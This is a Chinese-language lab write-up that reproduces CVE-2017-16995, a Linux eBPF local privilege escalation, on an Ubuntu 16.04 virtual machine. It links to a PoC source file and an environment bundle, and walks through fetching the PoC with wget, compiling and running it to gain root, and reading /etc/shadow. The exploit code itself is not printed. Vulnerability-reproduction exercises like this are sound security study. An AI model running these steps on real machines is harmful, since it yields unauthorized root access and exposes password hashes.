1、漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 

***者(普通用户)可以利用该漏洞进行提权***,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码……

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本: 
Linux内核:Linux Kernel Version 4.14 ~ 4.4 
Ubuntu版本:16.04.01~ 16.04.04


2、漏洞复现环境下载

Ubuntu16.04下载:http://old-releases.ubuntu.com/releases/16.04.0/ 
注:这里我下载的版本是 ubuntu-16.04.3-server-amd64.iso 
POC代码下载:http://cyseclabs.com/pub/upstream44.c 
注:为了节省大家实验时间,本实验所有环境全部打包到了以下链接=> 
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密码:vowq


3、实验流程

① 下载Ubuntu 16.04 iso镜像:http://old-releases.ubuntu.com/releases/16.04.0/ 
下载列表里面有很多版本,考虑到虚拟机体积大小,这里不适用desktop版本,直接使用server版本。点击ubuntu-16.04.3-server-amd64.iso可以直接网页下载,若速度较慢,可用列表中的torrent文件,用迅雷等软件下载。


② 使用VMware制作虚拟机,设置普通用户账号密码(账号: pinginglab 密码:pinginglab) 

注:这里的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程类似。




采用vmware快捷安装,设置账号密码: 


点击“继续”,即可创建虚拟机。


启动虚拟机,这里需要稍等片刻:


③ 使用账号密码(pinginglab/pinginglab)登录虚拟机,进行漏洞复现

使用 id 查看本地用户组权限:


使用cat /proc/version查看Linux内核版本 :


使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看) 


使用wget  http://cyseclabs.com/pub/upstream44.c 下载POC代码 


使用sudo apt install gcc 下载并安装gcc编译器 


使用gcc对upstream44.c进行编译,给予执行权限: 
gcc -o test upstream44.c 
chmod +x test 
ll 



执行test文件,实现本地提权: 
./test 
id 
cat /etc/shadow 




从实验效果可以看到,此时用户从“pinginglab”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。 


本漏洞复现实验完成。